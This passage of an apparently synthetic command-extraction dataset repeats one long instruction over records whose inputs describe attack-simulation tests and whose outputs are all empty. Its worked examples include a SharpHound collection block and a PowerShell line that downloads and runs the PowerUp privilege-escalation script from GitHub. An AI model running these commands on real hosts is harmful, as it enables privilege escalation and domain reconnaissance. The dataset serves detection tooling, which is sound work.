extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This test uses the insmod command to load a kernel module for Linux.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Use the `shred` command to overwrite the temporary file and then delete it\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Clears Powershell history\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This atomic simulates an activity where an attacker disables a specific ETW provider from the EventLog-Application ETW Auto Logger session using the reg.exe utility to update the Windows registry value \"Enabled\". This would effectivly remove that provider from the session and cause to not emit any logs of that type. The changes would only take effect after a restart.", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Identify network configuration information.\nUpon successful execution, sh will spawn multiple commands and output will be via stdout.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Modifies the last access timestamp of a specified file. This technique was seen in use by the Stitch RAT.\nTo verify execution, use File Explorer to view the Properties of the file and observe that the Accessed time is the year 1970.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Copy from sensitive File from the c$ of another LAN computer with powershell\nhttps://twitter.com/SBousseaden/status/1211636381086339073", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Powershell lateral movement using the mmc20 application com object.\n\nReference:\n\nhttps://blog.cobaltstrike.com/2017/01/24/scripting-matt-nelsons-mmc20-application-lateral-movement-technique/\n\nUpon successful execution, cmd will spawn calc.exe on a remote computer.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n 